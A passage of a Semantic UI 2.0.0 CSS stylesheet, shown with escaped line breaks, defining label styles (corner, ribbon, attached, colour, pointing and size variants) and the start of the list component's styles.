z-index: 1;\n  -webkit-transition: border-color 0.1s ease;\n  transition: border-color 0.1s ease;\n}\n\n/* Icon Label */\n\n.ui.corner.label {\n  background-color: transparent !important;\n}\n\n.ui.corner.label:after {\n  position: absolute;\n  content: \"\";\n  right: 0em;\n  top: 0em;\n  z-index: -1;\n  width: 0em;\n  height: 0em;\n  background-color: transparent !important;\n  border-top: 0em solid transparent;\n  border-right: 4em solid transparent;\n  border-bottom: 4em solid transparent;\n  border-left: 0em solid transparent;\n  border-right-color: inherit;\n  -webkit-transition: border-color 0.1s ease;\n  transition: border-color 0.1s ease;\n}\n\n.ui.corner.label .icon {\n  cursor: default;\n  position: relative;\n  top: 0.64285714em;\n  left: 0.78571429em;\n  font-size: 1.14285714em;\n  margin: 0em;\n}\n\n/* Left Corner */\n\n.ui.left.corner.label,\n.ui.left.corner.label:after {\n  right: auto;\n  left: 0em;\n}\n\n.ui.left.corner.label:after {\n  border-top: 4em solid transparent;\n  border-right: 4em solid transparent;\n  border-bottom: 0em solid transparent;\n  border-left: 0em solid transparent;\n  border-top-color: inherit;\n}\n\n.ui.left.corner.label .icon {\n  left: -0.78571429em;\n}\n\n/* Segment */\n\n.ui.segment > .ui.corner.label {\n  top: -1px;\n  right: -1px;\n}\n\n.ui.segment > .ui.left.corner.label {\n  right: auto;\n  left: -1px;\n}\n\n/*-------------------\n       Ribbon\n--------------------*/\n\n.ui.ribbon.label {\n  position: relative;\n  margin: 0em;\n  min-width: -webkit-max-content;\n  min-width: -moz-max-content;\n  min-width: max-content;\n  border-radius: 0em 0.28571429rem 0.28571429rem 0em;\n  border-color: rgba(0, 0, 0, 0.15);\n}\n\n.ui.ribbon.label:after {\n  position: absolute;\n  content: '';\n  top: 100%;\n  left: 0%;\n  background-color: transparent !important;\n  border-style: solid;\n  border-width: 0em 1.2em 1.2em 0em;\n  border-color: transparent;\n  border-right-color: inherit;\n  width: 0em;\n  height: 0em;\n}\n\n/* Positioning */\n\n.ui.ribbon.label {\n  left: calc( -1rem  -  1.2em );\n  margin-right: -1.2em;\n  padding-left: calc( 1rem  +  1.2em );\n  padding-right: 1.2em;\n}\n\n.ui[class*=\"right ribbon\"].label {\n  left: calc(100% +  1rem  +  1.2em );\n  padding-left: 1.2em;\n  padding-right: calc( 1rem  +  1.2em );\n}\n\n/* Right Ribbon */\n\n.ui[class*=\"right ribbon\"].label {\n  text-align: left;\n  -webkit-transform: translateX(-100%);\n  -ms-transform: translateX(-100%);\n  transform: translateX(-100%);\n  border-radius: 0.28571429rem 0em 0em 0.28571429rem;\n}\n\n.ui[class*=\"right ribbon\"].label:after {\n  left: auto;\n  right: 0%;\n  border-style: solid;\n  border-width: 1.2em 1.2em 0em 0em;\n  border-color: transparent;\n  border-top-color: inherit;\n}\n\n/* Inside Image */\n\n.ui.image > .ribbon.label,\n.ui.card .image > .ribbon.label {\n  position: absolute;\n  top: 1rem;\n}\n\n.ui.card .image > .ui.ribbon.label,\n.ui.image > .ui.ribbon.label {\n  left: calc( 0.05rem  -  1.2em );\n}\n\n.ui.card .image > .ui[class*=\"right ribbon\"].label,\n.ui.image > .ui[class*=\"right ribbon\"].label {\n  left: calc(100% +  -0.05rem  +  1.2em );\n  padding-left: 0.833em;\n}\n\n/*-------------------\n      Attached\n--------------------*/\n\n.ui.top.attached.label,\n.ui.attached.label {\n  width: 100%;\n  position: absolute;\n  margin: 0em;\n  top: 0em;\n  left: 0em;\n  padding: 0.75em 1em;\n  border-radius: 0.28571429rem 0.28571429rem 0em 0em;\n}\n\n.ui.bottom.attached.label {\n  top: auto;\n  bottom: 0em;\n  border-radius: 0em 0em 0.28571429rem 0.28571429rem;\n}\n\n.ui.top.left.attached.label {\n  width: auto;\n  margin-top: 0em !important;\n  border-radius: 0.28571429rem 0em 0.28571429rem 0em;\n}\n\n.ui.top.right.attached.label {\n  width: auto;\n  left: auto;\n  right: 0em;\n  border-radius: 0em 0.28571429rem 0em 0.28571429rem;\n}\n\n.ui.bottom.left.attached.label {\n  width: auto;\n  top: auto;\n  bottom: 0em;\n  border-radius: 0em 0.28571429rem 0em 0.28571429rem;\n}\n\n.ui.bottom.right.attached.label {\n  top: auto;\n  bottom: 0em;\n  left: auto;\n  right: 0em;\n  width: auto;\n  border-radius: 0.28571429rem 0em 0.28571429rem 0em;\n}\n\n/*******************************\n             States\n*******************************/\n\n/*-------------------\n      Disabled\n--------------------*/\n\n.ui.label.disabled {\n  opacity: 0.5;\n}\n\n/*-------------------\n        Hover\n--------------------*/\n\na.ui.labels .label:hover,\na.ui.label:hover {\n  background-color: #e0e0e0;\n  border-color: #e0e0e0;\n  background-image: none;\n  color: rgba(0, 0, 0, 0.8);\n}\n\n.ui.labels a.label:hover:before,\na.ui.label:hover:before {\n  background-color: #e0e0e0;\n  background-image: none;\n  color: rgba(0, 0, 0, 0.8);\n}\n\n/*-------------------\n        Active\n--------------------*/\n\n.ui.active.label {\n  background-color: #d0d0d0;\n  border-color: #d0d0d0;\n  background-image: none;\n  color: rgba(0, 0, 0, 0.95);\n}\n\n.ui.active.label:before {\n  background-color: #d0d0d0;\n  background-image: none;\n  color: rgba(0, 0, 0, 0.95);\n}\n\n/*-------------------\n     Active Hover\n--------------------*/\n\na.ui.labels .active.label:hover,\na.ui.active.label:hover {\n  background-color: #c8c8c8;\n  border-color: #c8c8c8;\n  background-image: none;\n  color: rgba(0, 0, 0, 0.95);\n}\n\n.ui.labels a.active.label:ActiveHover:before,\na.ui.active.label:ActiveHover:before {\n  background-color: #c8c8c8;\n  background-image: none;\n  color: rgba(0, 0, 0, 0.95);\n}\n\n/*-------------------\n      Visible\n--------------------*/\n\n.ui.labels.visible .label,\n.ui.label.visible {\n  display: inline-block !important;\n}\n\n/*-------------------\n      Hidden\n--------------------*/\n\n.ui.labels.hidden .label,\n.ui.label.hidden {\n  display: none !important;\n}\n\n/*******************************\n           Variations\n*******************************/\n\n/*-------------------\n       Colors\n--------------------*/\n\n/*--- Red ---*/\n\n.ui.red.labels .label,\n.ui.red.label {\n  background-color: #db2828 !important;\n  border-color: #db2828 !important;\n  color: #ffffff !important;\n}\n\n.ui.labels .red.label:before,\n.ui.red.labels .label:before,\n.ui.red.label:before {\n  background-color: #db2828 !important;\n}\n\n.ui.red.corner.label,\n.ui.red.corner.label:hover {\n  background-color: transparent !important;\n}\n\na.ui.red.labels .label:hover,\na.ui.red.label:hover {\n  background-color: #d01919 !important;\n  border-color: #d01919 !important;\n  color: #ffffff !important;\n}\n\n.ui.labels a.red.label:hover:before,\n.ui.red.labels a.label:hover:before,\na.ui.red.label:hover:before {\n  background-color: #d01919 !important;\n}\n\n.ui.red.ribbon.label {\n  border-color: #b21e1e !important;\n}\n\n/*--- Orange ---*/\n\n.ui.orange.labels .label,\n.ui.orange.label {\n  background-color: #f2711c !important;\n  border-color: #f2711c !important;\n  color: #ffffff !important;\n}\n\n.ui.labels .orange.label:before,\n.ui.orange.labels .label:before,\n.ui.orange.label:before {\n  background-color: #f2711c !important;\n}\n\n.ui.orange.corner.label,\n.ui.orange.corner.label:hover {\n  background-color: transparent !important;\n}\n\na.ui.orange.labels .label:hover,\na.ui.orange.label:hover {\n  background-color: #f26202 !important;\n  border-color: #f26202 !important;\n  color: #ffffff !important;\n}\n\n.ui.labels a.orange.label:hover:before,\n.ui.orange.labels a.label:hover:before,\na.ui.orange.label:hover:before {\n  background-color: #f26202 !important;\n}\n\n.ui.orange.ribbon.label {\n  border-color: #cf590c !important;\n}\n\n/*--- Yellow ---*/\n\n.ui.yellow.labels .label,\n.ui.yellow.label {\n  background-color: #fbbd08 !important;\n  border-color: #fbbd08 !important;\n  color: #ffffff !important;\n}\n\n.ui.labels .yellow.label:before,\n.ui.yellow.labels .label:before,\n.ui.yellow.label:before {\n  background-color: #fbbd08 !important;\n}\n\n.ui.yellow.corner.label,\n.ui.yellow.corner.label:hover {\n  background-color: transparent !important;\n}\n\na.ui.yellow.labels .label:hover,\na.ui.yellow.label:hover {\n  background-color: #eaae00 !important;\n  border-color: #eaae00 !important;\n  color: #ffffff !important;\n}\n\n.ui.labels a.yellow.label:hover:before,\n.ui.yellow.labels a.label:hover:before,\na.ui.yellow.label:hover:before {\n  background-color: #eaae00 !important;\n}\n\n.ui.yellow.ribbon.label {\n  border-color: #cd9903 !important;\n}\n\n/*--- Olive ---*/\n\n.ui.olive.labels .label,\n.ui.olive.label {\n  background-color: #b5cc18 !important;\n  border-color: #b5cc18 !important;\n  color: #ffffff !important;\n}\n\n.ui.labels .olive.label:before,\n.ui.olive.labels .label:before,\n.ui.olive.label:before {\n  background-color: #b5cc18 !important;\n}\n\n.ui.olive.corner.label,\n.ui.olive.corner.label:hover {\n  background-color: transparent !important;\n}\n\na.ui.olive.labels .label:hover,\na.ui.olive.label:hover {\n  background-color: #a7bd0d !important;\n  border-color: #a7bd0d !important;\n  color: #ffffff !important;\n}\n\n.ui.labels a.olive.label:hover:before,\n.ui.olive.labels a.label:hover:before,\na.ui.olive.label:hover:before {\n  background-color: #a7bd0d !important;\n}\n\n.ui.olive.ribbon.label {\n  border-color: #198f35 !important;\n}\n\n/*--- Green ---*/\n\n.ui.green.labels .label,\n.ui.green.label {\n  background-color: #21ba45 !important;\n  border-color: #21ba45 !important;\n  color: #ffffff !important;\n}\n\n.ui.labels .green.label:before,\n.ui.green.labels .label:before,\n.ui.green.label:before {\n  background-color: #21ba45 !important;\n}\n\n.ui.green.corner.label,\n.ui.green.corner.label:hover {\n  background-color: transparent !important;\n}\n\na.ui.green.labels .label:hover,\na.ui.green.label:hover {\n  background-color: #16ab39 !important;\n  border-color: #16ab39 !important;\n  color: #ffffff !important;\n}\n\n.ui.labels a.green.label:hover:before,\n.ui.green.labels a.label:hover:before,\na.ui.green.label:hover:before {\n  background-color: #16ab39 !important;\n}\n\n.ui.green.ribbon.label {\n  border-color: #198f35 !important;\n}\n\n/*--- Teal ---*/\n\n.ui.teal.labels .label,\n.ui.teal.label {\n  background-color: #00b5ad !important;\n  border-color: #00b5ad !important;\n  color: #ffffff !important;\n}\n\n.ui.labels .teal.label:before,\n.ui.teal.labels .label:before,\n.ui.teal.label:before {\n  background-color: #00b5ad !important;\n}\n\n.ui.teal.corner.label,\n.ui.teal.corner.label:hover {\n  background-color: transparent !important;\n}\n\na.ui.teal.labels .label:hover,\na.ui.teal.label:hover {\n  background-color: #009c95 !important;\n  border-color: #009c95 !important;\n  color: #ffffff !important;\n}\n\n.ui.labels a.teal.label:hover:before,\n.ui.teal.labels a.label:hover:before,\na.ui.teal.label:hover:before {\n  background-color: #009c95 !important;\n}\n\n.ui.teal.ribbon.label {\n  border-color: #00827c !important;\n}\n\n/*--- Blue ---*/\n\n.ui.blue.labels .label,\n.ui.blue.label {\n  background-color: #2185d0 !important;\n  border-color: #2185d0 !important;\n  color: #ffffff !important;\n}\n\n.ui.labels .blue.label:before,\n.ui.blue.labels .label:before,\n.ui.blue.label:before {\n  background-color: #2185d0 !important;\n}\n\n.ui.blue.corner.label,\n.ui.blue.corner.label:hover {\n  background-color: transparent !important;\n}\n\na.ui.blue.labels .label:hover,\na.ui.blue.label:hover {\n  background-color: #1678c2 !important;\n  border-color: #1678c2 !important;\n  color: #ffffff !important;\n}\n\n.ui.labels a.blue.label:hover:before,\n.ui.blue.labels a.label:hover:before,\na.ui.blue.label:hover:before {\n  background-color: #1678c2 !important;\n}\n\n.ui.blue.ribbon.label {\n  border-color: #1a69a4 !important;\n}\n\n/*--- Violet ---*/\n\n.ui.violet.labels .label,\n.ui.violet.label {\n  background-color: #6435c9 !important;\n  border-color: #6435c9 !important;\n  color: #ffffff !important;\n}\n\n.ui.labels .violet.label:before,\n.ui.violet.labels .label:before,\n.ui.violet.label:before {\n  background-color: #6435c9 !important;\n}\n\n.ui.violet.corner.label,\n.ui.violet.corner.label:hover {\n  background-color: transparent !important;\n}\n\na.ui.violet.labels .label:hover,\na.ui.violet.label:hover {\n  background-color: #5829bb !important;\n  border-color: #5829bb !important;\n  color: #ffffff !important;\n}\n\n.ui.labels a.violet.label:hover:before,\n.ui.violet.labels a.label:hover:before,\na.ui.violet.label:hover:before {\n  background-color: #5829bb !important;\n}\n\n.ui.violet.ribbon.label {\n  border-color: #502aa1 !important;\n}\n\n/*--- Purple ---*/\n\n.ui.purple.labels .label,\n.ui.purple.label {\n  background-color: #a333c8 !important;\n  border-color: #a333c8 !important;\n  color: #ffffff !important;\n}\n\n.ui.labels .purple.label:before,\n.ui.purple.labels .label:before,\n.ui.purple.label:before {\n  background-color: #a333c8 !important;\n}\n\n.ui.purple.corner.label,\n.ui.purple.corner.label:hover {\n  background-color: transparent !important;\n}\n\na.ui.purple.labels .label:hover,\na.ui.purple.label:hover {\n  background-color: #9627ba !important;\n  border-color: #9627ba !important;\n  color: #ffffff !important;\n}\n\n.ui.labels a.purple.label:hover:before,\n.ui.purple.labels a.label:hover:before,\na.ui.purple.label:hover:before {\n  background-color: #9627ba !important;\n}\n\n.ui.purple.ribbon.label {\n  border-color: #82299f !important;\n}\n\n/*--- Pink ---*/\n\n.ui.pink.labels .label,\n.ui.pink.label {\n  background-color: #e03997 !important;\n  border-color: #e03997 !important;\n  color: #ffffff !important;\n}\n\n.ui.labels .pink.label:before,\n.ui.pink.labels .label:before,\n.ui.pink.label:before {\n  background-color: #e03997 !important;\n}\n\n.ui.pink.corner.label,\n.ui.pink.corner.label:hover {\n  background-color: transparent !important;\n}\n\na.ui.pink.labels .label:hover,\na.ui.pink.label:hover {\n  background-color: #e61a8d !important;\n  border-color: #e61a8d !important;\n  color: #ffffff !important;\n}\n\n.ui.labels a.pink.label:hover:before,\n.ui.pink.labels a.label:hover:before,\na.ui.pink.label:hover:before {\n  background-color: #e61a8d !important;\n}\n\n.ui.pink.ribbon.label {\n  border-color: #c71f7e !important;\n}\n\n/*--- Brown ---*/\n\n.ui.brown.labels .label,\n.ui.brown.label {\n  background-color: #a5673f !important;\n  border-color: #a5673f !important;\n  color: #ffffff !important;\n}\n\n.ui.labels .brown.label:before,\n.ui.brown.labels .label:before,\n.ui.brown.label:before {\n  background-color: #a5673f !important;\n}\n\n.ui.brown.corner.label,\n.ui.brown.corner.label:hover {\n  background-color: transparent !important;\n}\n\na.ui.brown.labels .label:hover,\na.ui.brown.label:hover {\n  background-color: #975b33 !important;\n  border-color: #975b33 !important;\n  color: #ffffff !important;\n}\n\n.ui.labels a.brown.label:hover:before,\n.ui.brown.labels a.label:hover:before,\na.ui.brown.label:hover:before {\n  background-color: #975b33 !important;\n}\n\n.ui.brown.ribbon.label {\n  border-color: #805031 !important;\n}\n\n/*--- Grey ---*/\n\n.ui.grey.labels .label,\n.ui.grey.label {\n  background-color: #767676 !important;\n  border-color: #767676 !important;\n  color: #ffffff !important;\n}\n\n.ui.labels .grey.label:before,\n.ui.grey.labels .label:before,\n.ui.grey.label:before {\n  background-color: #767676 !important;\n}\n\n.ui.grey.corner.label,\n.ui.grey.corner.label:hover {\n  background-color: transparent !important;\n}\n\na.ui.grey.labels .label:hover,\na.ui.grey.label:hover {\n  background-color: #838383 !important;\n  border-color: #838383 !important;\n  color: #ffffff !important;\n}\n\n.ui.labels a.grey.label:hover:before,\n.ui.grey.labels a.label:hover:before,\na.ui.grey.label:hover:before {\n  background-color: #838383 !important;\n}\n\n.ui.grey.ribbon.label {\n  border-color: #5d5d5d !important;\n}\n\n/*--- Black ---*/\n\n.ui.black.labels .label,\n.ui.black.label {\n  background-color: #1b1c1d !important;\n  border-color: #1b1c1d !important;\n  color: #ffffff !important;\n}\n\n.ui.labels .black.label:before,\n.ui.black.labels .label:before,\n.ui.black.label:before {\n  background-color: #1b1c1d !important;\n}\n\n.ui.black.corner.label,\n.ui.black.corner.label:hover {\n  background-color: transparent !important;\n}\n\na.ui.black.labels .label:hover,\na.ui.black.label:hover {\n  background-color: #27292a !important;\n  border-color: #27292a !important;\n  color: #ffffff !important;\n}\n\n.ui.labels a.black.label:hover:before,\n.ui.black.labels a.label:hover:before,\na.ui.black.label:hover:before {\n  background-color: #27292a !important;\n}\n\n.ui.black.ribbon.label {\n  border-color: #5d5d5d !important;\n}\n\n/*-------------------\n       Fluid\n--------------------*/\n\n.ui.label.fluid,\n.ui.fluid.labels > .label {\n  width: 100%;\n  box-sizing: border-box;\n}\n\n/*-------------------\n       Inverted\n--------------------*/\n\n.ui.inverted.labels .label,\n.ui.inverted.label {\n  color: rgba(255, 255, 255, 0.9) !important;\n}\n\n/*-------------------\n     Horizontal\n--------------------*/\n\n.ui.horizontal.labels .label,\n.ui.horizontal.label {\n  margin: 0em 0.5em 0em 0em;\n  padding: 0.4em 0.833em;\n  min-width: 3em;\n  text-align: center;\n}\n\n/*-------------------\n       Circular\n--------------------*/\n\n.ui.circular.labels .label,\n.ui.circular.label {\n  min-width: 2em;\n  min-height: 2em;\n  padding: 0.5em !important;\n  line-height: 1em;\n  text-align: center;\n  border-radius: 500rem;\n}\n\n.ui.empty.circular.labels .label,\n.ui.empty.circular.label {\n  min-width: 0em;\n  min-height: 0em;\n  overflow: hidden;\n  width: 0.5em;\n  height: 0.5em;\n  vertical-align: baseline;\n}\n\n/*-------------------\n       Pointing\n--------------------*/\n\n.ui.pointing.label {\n  position: relative;\n}\n\n.ui.attached.pointing.label {\n  position: absolute;\n}\n\n.ui.pointing.label:before {\n  position: absolute;\n  content: '';\n  -webkit-transform: rotate(45deg);\n  -ms-transform: rotate(45deg);\n  transform: rotate(45deg);\n  background-image: none;\n  z-index: 2;\n  width: 0.6em;\n  height: 0.6em;\n  -webkit-transition: background 0.1s ease;\n  transition: background 0.1s ease;\n}\n\n/*--- Above ---*/\n\n.ui.pointing.label:before {\n  background-color: #e8e8e8;\n  background-image: none;\n}\n\n.ui.pointing.label,\n.ui.pointing.above.label {\n  margin-top: 1em;\n}\n\n.ui.pointing.label:before,\n.ui.pointing.above.label:before {\n  margin-left: -0.3em;\n  top: -0.3em;\n  left: 50%;\n}\n\n/*--- Below ---*/\n\n.ui.pointing.bottom.label,\n.ui.pointing.below.label {\n  margin-top: 0em;\n  margin-bottom: 1em;\n}\n\n.ui.pointing.bottom.label:before,\n.ui.pointing.below.label:before {\n  margin-left: -0.3em;\n  top: auto;\n  right: auto;\n  bottom: -0.3em;\n  left: 50%;\n}\n\n/*--- Left ---*/\n\n.ui.pointing.left.label {\n  margin-top: 0em;\n  margin-left: 0.6em;\n}\n\n.ui.pointing.left.label:before {\n  margin-top: -0.3em;\n  bottom: auto;\n  right: auto;\n  top: 50%;\n  left: 0em;\n}\n\n/*--- Right ---*/\n\n.ui.pointing.right.label {\n  margin-top: 0em;\n  margin-right: 0.6em;\n}\n\n.ui.pointing.right.label:before {\n  margin-top: -0.3em;\n  right: -0.3em;\n  top: 50%;\n  bottom: auto;\n  left: auto;\n}\n\n/*------------------\n   Floating Label\n-------------------*/\n\n.ui.floating.label {\n  position: absolute;\n  z-index: 100;\n  top: -1em;\n  left: 100%;\n  margin: 0em 0em 0em -1.5em !important;\n}\n\n/*-------------------\n        Sizes\n--------------------*/\n\n.ui.mini.labels .label,\n.ui.mini.label {\n  font-size: 0.64285714rem;\n}\n\n.ui.tiny.labels .label,\n.ui.tiny.label {\n  font-size: 0.71428571rem;\n}\n\n.ui.small.labels .label,\n.ui.small.label {\n  font-size: 0.78571429rem;\n}\n\n.ui.labels .label,\n.ui.label {\n  font-size: 0.85714286rem;\n}\n\n.ui.large.labels .label,\n.ui.large.label {\n  font-size: 0.85714286rem;\n}\n\n.ui.big.labels .label,\n.ui.big.label {\n  font-size: 0.85714286rem;\n}\n\n.ui.huge.labels .label,\n.ui.huge.label {\n  font-size: 0.85714286rem;\n}\n\n.ui.massive.labels .label,\n.ui.massive.label {\n  font-size: 0.85714286rem;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n         Site Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - List\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n            List\n*******************************/\n\nul.ui.list,\nol.ui.list,\n.ui.list {\n  list-style-type: none;\n  margin: 1em 0em;\n  padding: 0em 0em;\n}\n\nul.ui.list:first-child,\nol.ui.list:first-child,\n.ui.list:first-child {\n  margin-top: 0em;\n  padding-top: 0em;\n}\n\nul.ui.list:last-child,\nol.ui.list:last-child,\n.ui.list:last-child {\n  margin-bottom: 0em;\n  padding-bottom: 0em;\n}\n\n/*******************************\n            Content\n*******************************/\n\n/* List Item */\n\nul.ui.list li,\nol.ui.list li,\n.ui.list > .item,\n.ui.list .list > .item {\n  display: list-item;\n  table-layout: fixed;\n  list-style-type: none;\n  list-style-position: outside;\n  padding: 0.21428571em 0em;\n  line-height: 1.14285714em;\n}\n\nul.ui.list > li:first-child:after,\nol.ui.list > li:first-child:after,\n.ui.list > .list > .item,\n.ui.list > .item:after {\n  content: '';\n  display: block;\n  height: 0;\n  clear: both;\n  visibility: hidden;\n}\n\nul.ui.list li:first-child,\nol.ui.list li:first-child,\n.ui.list .list > .item:first-child,\n.ui.list > .item:first-child {\n  padding-top: 0em;\n}\n\nul.ui.list li:last-child,\nol.ui.list li:last-child,\n.ui.list .list > .item:last-child,\n.ui.list > .item:last-child {\n  padding-bottom: 0em;\n}\n\n/* Child List */\n\nul.ui.list ul,\nol.ui.list ol,\n.ui.list .list {\n  clear: both;\n  margin: 0em;\n  padding: 0.75em 0em 0.25em 0.5em;\n}\n\n/* Child Item */\n\nul.ui.list ul li,\nol.ui.list ol li,\n.ui.list .list > .item {\n  padding: 0.14285714em 0em;\n  line-height: inherit;\n}\n\n/* Icon */\n\n.ui.list .list > .item > i.icon,\n.ui.list > .item > i.icon {\n  display: table-cell;\n  margin: 0em;\n  padding-top: 0.07142857em;\n  padding-right: 0.28571429em;\n  vertical-align: top;\n  -webkit-transition: color 0.1s ease;\n  transition: color 0.1s ease;\n}\n\n.ui.list .list > .item > i.icon:only-child,\n.ui.list > .item > i.icon:only-child {\n  display: inline-block;\n  vertical-align: top;\n}\n\n/* Image */\n\n.ui.list .list > .item > .image,\n.ui.list > .item > .image {\n  display: table-cell;\n  background-color: transparent;\n  margin: 0em;\n  padding-right: 0.5em;\n  vertical-align: top;\n}\n\n.ui.list .list > .item > .image img,\n.ui.list > .item > .image img {\n  vertical-align: top;\n}\n\n.ui.list .list > .item > img.image,\n.ui.list .list > .item > .image:only-child,\n.ui.list > .item > img.image,\n.ui.list > .item > .image:only-child {\n  display: inline-block;\n  padding-right: 0em;\n}\n\n/* Content */\n\n.ui.list .list > .item > .content,\n.ui.list > .item > .content {\n  line-height: 1.14285714em;\n}\n\n.ui.list .list > .item > .image + .content,\n.ui.list .list > .item > .icon + .content,\n.ui.list > .item > .image + .content,\n.ui.list > .item > .icon + .content {\n  display: table-cell;\n  padding: 0em 0em 0em 0.5em;\n  vertical-align: top;\n}\n\n.ui.list .list > .item > img.image + .content,\n.ui.list > .item > img.image + .content {\n  display: inline-block;\n}\n\n.ui.list .list > .item > .content > .list,\n.ui.list > .item > .content > .list {\n  margin-left: 0em;\n  padding-left: 0em;\n}\n\n/* Header */\n\n.ui.list .list > .item .header,\n.ui.list > .item .header {\n  display: block;\n  margin: 0em;\n  font-family: 'Lato', 'Helvetica Neue', Arial, Helvetica, sans-serif;\n  font-weight: bold;\n  color: rgba(0, 0, 0, 0.87);\n}\n\n/* Description */\n\n.ui.list .list > .item .description,\n.ui.list > .item .description {\n  display: block;\n  color: rgba(0, 0, 0, 0.7);\n}\n\n/* Child Link */\n\n.ui.list > .item a,\n.ui.list .list > .item a {\n  cursor: pointer;\n}\n\n/* Linking Item */\n\n.ui.list .list > a.item,\n.ui.list > a.item {\n  cursor: pointer;\n  color: #4183c4;\n}\n\n.ui.list .list > a.item:hover,\n.ui.list > a.item:hover {\n  color: #1e70bf;\n}\n\n/* Linked Item Icons */\n\n.ui.list .list > a.item i.icon,\n.ui.list > a.item i.icon {\n  color: rgba(0, 0, 0, 0.4);\n}\n\n/* Header Link */\n\n.ui.list .list > .item a.header,\n.ui.list > .item a.header {\n  cursor: pointer;\n  color: #4183c4 !important;\n}\n\n.ui.list .list > .item a.header:hover,\n.ui.list > .item a.header:hover {\n  color: #1e70bf !important;\n}\n\n/* Floated Content */\n\n.ui.list .list > .item [class*=\"left floated\"],\n.ui.list > .item [class*=\"left floated\"] {\n  float: left;\n  margin: 0em 1em 0em 0em;\n}\n\n.ui.list .list > .item [class*=\"right floated\"],\n.ui.list > .item [class*=\"right floated\"] {\n  float: right;\n  margin: 0em 0em 0em 1em;\n}\n\n/*******************************\n            Coupling\n*******************************/\n\n.ui.menu .ui.list > .item,\n.ui.menu .ui.list .list > .item {\n  display: list-item;\n  table-layout: fixed;\n  background-color: transparent;\n  list-style-type: none;\n  list-style-position: outside;\n  padding: 0.21428571em 0em;\n  line-height: 1.14285714em;\n}\n\n.ui.menu .ui.list .list > .item:before,\n.ui.menu .ui.list > .item:before {\n  border: none;\n  background: none;\n}\n\n.ui.menu .ui.list .list > .item:first-child,\n.ui.menu .ui.list > .item:first-child {\n  padding-top: 0em;\n}\n\n.ui.menu .ui.list .list > .item:last-child,\n.ui.menu .ui.list > .item:last-child {\n  padding-bottom: 0em;\n}\n\n/*******************************\n            Types\n*******************************/\n\n/*-------------------\n      Horizontal\n--------------------*/\n\n.ui.horizontal.list {\n  display: inline-block;\n  font-size: 0em;\n}\n\n.ui.horizontal.list > .item {\n  display: inline-block;\n  margin-left: 1em;\n  font-size: 1rem;\n}\n\n.ui.horizontal.list:not(.celled) > .item:first-child {\n  margin-left: 0em !important;\n  padding-left: 0em !important;\n}\n\n.ui.horizontal.list .list {\n  padding-left: 0em;\n  padding-bottom: 0em;\n}\n\n.ui.horizontal.list > .item > .image,\n.ui.horizontal.list .list > .item > .image,\n.ui.horizontal.list > .item > .icon,\n.ui.horizontal.list .list > .item > .icon,\n.ui.horizontal.list > .item > .content,\n.ui.horizontal.list .list > .item > .content {\n  vertical-align: middle;\n}\n\n/* Padding on all elements */\n\n.ui.horizontal.list > .item:first-child,\n.ui.horizontal.list > .item:last-child {\n  padding-top: 0.21428571em;\n  padding-bottom: 0.21428571em;\n}\n\n/* Horizontal List */\n\n.ui.horizontal.list > .item > i.icon {\n  margin: 0em;\n  padding: 0em 0.25em 0em 0em;\n}\n\n.ui.horizontal.list > .item > .icon,\n.ui.horizontal.list > .item > .icon + .content {\n  float: none;\n  display: inline-block;\n}\n\n/*******************************\n             States\n*******************************/\n\n/*-------------------\n       Disabled\n--------------------*/\n\n.ui.list .list > .disabled.item,\n.ui.list > .disabled.item {\n  pointer-events: none;\n  color: rgba(40, 40, 40, 0.3) !important;\n}\n\n.ui.inverted.list .list > .disabled.item,\n.ui.inverted.list > .disabled.item {\n  color: rgba(225, 225, 225, 0.3) !important;\n}\n\n/*-------------------\n        Hover\n--------------------*/\n\n.ui.list .list > a.item:hover .icon,\n.ui.list > a.item:hover .icon {\n  color: rgba(0, 0, 0, 0.87);\n}\n\n/*******************************\n           Variations\n*******************************/\n\n/*-------------------\n       Inverted\n--------------------*/\n\n.ui.inverted.list .list > a.item > .icon,\n.ui.inverted.list > a.item > .icon {\n  color: rgba(255, 255, 255, 0.7);\n}\n\n.ui.inverted.list .list > .item .header,\n.ui.inverted.list > .item .header {\n  color: rgba(255, 255, 255, 0.9);\n}\n\n.ui.inverted.list .list > .item .description,\n.ui.inverted.list > .item .description {\n  color: rgba(255, 255, 255, 0.7);\n}\n\n/* Item Link */\n\n.ui.inverted.list .list > a.item,\n.ui.inverted.list > a.item {\n  cursor: pointer;\n  color: rgba(255, 255, 255, 0.9);\n}\n\n.ui.inverted.list .list > a.item:hover,\n.ui.inverted.list > a.item:hover {\n  color: #1e70bf;\n}\n\n/* Linking Content */\n\n.ui.inverted.list .item a:not(.ui) {\n  color: rgba(255, 255, 255, 0.9) !important;\n}\n\n.ui.inverted.list .item a:not(.ui):hover {\n  color: #1e70bf !important;\n}\n\n/*-------------------\n       Aligned\n--------------------*/\n\n.ui.list[class*=\"top aligned\"] .image,\n.ui.list[class*=\"top aligned\"] .content,\n.ui.list [class*=\"top aligned\"] {\n  vertical-align: top !important;\n}\n\n.ui.list[class*=\"middle aligned\"] .image,\n.ui.list[class*=\"middle aligned\"] .content,\n.ui.list [class*=\"middle aligned\"] {\n  vertical-align: middle !important;\n}\n\n.ui.list[class*=\"bottom aligned\"] .image,\n.ui.list[class*=\"bottom aligned\"] .content,\n.ui.list [class*=\"bottom aligned\"] {\n  vertical-align: bottom !important;\n}\n\n/*-------------------\n       Link\n--------------------*/\n\n.ui.link.list .item,\n.ui.link.list a.item,\n.ui.link.list .item a:not(.ui) {\n  color: rgba(0, 0, 0, 0.4);\n  -webkit-transition: 0.1s color ease;\n  transition: 0.1s color ease;\n}\n\n.ui.link.list a.item:hover,\n.ui.link.list .item a:not(.ui):hover {\n  color: rgba(0, 0, 0, 0.8);\n}\n\n.ui.link.list a.item:active,\n.ui.link.list .item a:not(.ui):active {\n  color: rgba(0, 0, 0, 0.9);\n}\n\n.ui.link.list .active.item,\n.ui.link.list .active.item a:not(.ui) {\n  color: rgba(0, 0, 0, 0.95);\n}\n\n/* Inverted */\n\n.ui.inverted.link.list .item,\n.ui.inverted.link.list a.item,\n.ui.inverted.link.list .item a:not(.ui) {\n  color: rgba(255, 255, 255, 0.5);\n}\n\n.ui.inverted.link.list a.item:hover,\n.ui.inverted.link.list .item a:not(.ui):hover {\n  color: #ffffff;\n}\n\n.ui.inverted.link.list a.item:active,\n.ui.inverted.link.list .item a:not(.ui):active {\n  color: #ffffff;\n}\n\n.ui.inverted.link.list 